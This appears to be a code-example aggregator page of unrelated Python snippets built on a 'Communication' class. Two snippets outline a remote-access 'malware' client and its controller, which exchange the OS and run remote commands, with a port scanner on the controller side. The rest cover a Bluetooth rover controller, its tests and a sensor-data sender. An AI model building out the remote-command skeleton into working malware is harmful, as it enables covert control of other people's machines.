示例#1
0
def main():
    distant_socket = connection()
    communication = Communication(distant_socket)
    message = communication.recv_message_str()
    malware_os = platform.system()
    while message != "os":
        message = communication.recv_message_str()
    communication.send(malware_os)
    run_commands(malware_os, communication)
    distant_socket.close()
示例#2
0
def main():
    parser_options = set_up_parser()
    malware_addr = get_malware_address(parser_options[0])
    start_portscanner(parser_options[1])
    sock = connection(malware_addr)
    communication = Communication(sock)
    communication.send("os")
    malware_os = communication.recv_message_str()
    run_commands(malware_os, communication)
    sock.close()
示例#3
0
class CommunicationTest(unittest.TestCase):
    
    def setUp(self):
        '''
        Verify environment is setup properly.
        '''
        self.controller = Communication()
        self.b_list = self.controller.get_bluetooth_list()
    
    def tearDown(self):
        '''
        Verify environment is tore down properly.
        '''
        pass
    def test_get_bluetooth_list(self):
        '''
        Verify that the bluetooth list was retrieve without problems.
        '''
        value = False
        if "Empty" not in self.b_list[0]:
            value = True
        self.assertTrue(value)
        
    def test_send(self):
        '''
        Verify that the instruction was send without problems.
        '''
        for b_name in self.b_list:
            if "CURIOSITY"in b_name:
                break
        self.controller.connect(b_name)
        value = self.controller.send("Hello")
        time.sleep(5)
        self.controller.disconnect()
        self.assertTrue(value)
示例#4
0
        webServer.server_close()


webServerThread = Thread(target=WebServer.run, args=[0])
webServerThread.start()

while True:
    start = time.time()

    if settings.on:
        timestamp, temperature, humidity, pm25, pm10 = sensor.gather()
        experiences.add(timestamp, temperature, humidity, pm25, pm10)
        experiences.save()
        experiences.saveCSV()

        if len(experiences.timestamps) > 1:
            try:
                communication = Communication()
                communication.send('localhost', experiences)
                send_message = 'Sent ' + str(len(experiences.timestamps))
                experiences.reset()
                experiences.save()
            except (ConnectionRefusedError, ConnectionResetError) as e:
                send_message = e.strerror

    elapse = time.time() - start

    if elapse < settings.collection_rate:
        time.sleep(settings.collection_rate - elapse)
示例#5
0
#!/usr/bin/python3

from Communication import Communication
from Experiences import Experiences

experiences = Experiences()
communication = Communication()

communication.send('192.168.1.178', experiences)
示例#6
0
class Controller(object):

    __metaclass__ = SingletonController

    def __init__(self):
        '''
        Initialize class attributes.
        '''
        self.joystick = Joystick()
        self.communication = Communication()
        self.driving = Driving()
        self.gear = 0

    def get_joystick_list(self):
        '''
        Return the control joystick list.
        '''
        return self.joystick.get_joystick_list()
            
    def get_bluetooth_list(self):
        '''
        Return the bluetooth communication list.
        '''
        return self.communication.get_bluetooth_list()
    
    def connect(self, joystick_name, bluetooth_name):
        '''
        Initialize the joystick and bluetooth connection.
        '''
        if self.joystick.connect(joystick_name) and \
        self.communication.connect(bluetooth_name):
            return True
        return False

    def disconnect(self):
        '''
        Perform the joystick and bluetooth disconnection.
        '''
        if self.joystick.disconnect() and \
        self.communication.disconnect():
            return True
        return False
    
    def quit_commands(self):
        '''
        Send quit signal to the wait queue.
        '''
        self.joystick.quit_commands()
            
    def send_commands(self):
        '''
        Read the joystick commands and send it to the rover using a
        bluetooth device.
        '''
        try:
            command = ""
            j_command = self.joystick.get_commands()
            if j_command["UP"] == True and \
            j_command["DOWN"] == False and \
            j_command["LEFT"] == False and \
            j_command["RIGHT"] == False:
                command = "D1"
                self.communication.send(command)
                self.driving.set_angle(0.0)
            elif j_command["UP"] == False and \
            j_command["DOWN"] == False and \
            j_command["LEFT"] == False and \
            j_command["RIGHT"] == True:
                command = "D3"
                self.communication.send(command)
                self.driving.set_angle(90.0)
            elif j_command["UP"] == False and \
            j_command["DOWN"] == True and \
            j_command["LEFT"] == False and \
            j_command["RIGHT"] == False:
                command = "D5"
                self.communication.send(command)
                self.driving.set_angle(0.0)
            elif j_command["UP"] == False and \
            j_command["DOWN"] == False and \
            j_command["LEFT"] == True and \
            j_command["RIGHT"] == False:
                command = "D7"
                self.communication.send(command)
                self.driving.set_angle(-90.0)
                
            if j_command["SPEED"] == True and self.gear < 6:
                self.gear = self.gear + 1
                self.driving.set_power(self.gear)
                command = "V%d" % self.gear
                self.communication.send(command)
            elif j_command["BREAK"] == True and self.gear > 0:
                self.gear = self.gear - 1
                self.driving.set_power(self.gear)
                command = "V%d" % self.gear
                self.communication.send(command)
                
            if j_command["UP"] == False and \
            j_command["DOWN"] == False and \
            j_command["LEFT"] == False and \
            j_command["RIGHT"] == False and \
            j_command["SPEED"] == False and \
            j_command["BREAK"] == False:
                command = "B0"
                self.communication.send(command)
                self.driving.set_angle(0.0)
        except:
            print str(traceback.format_exc())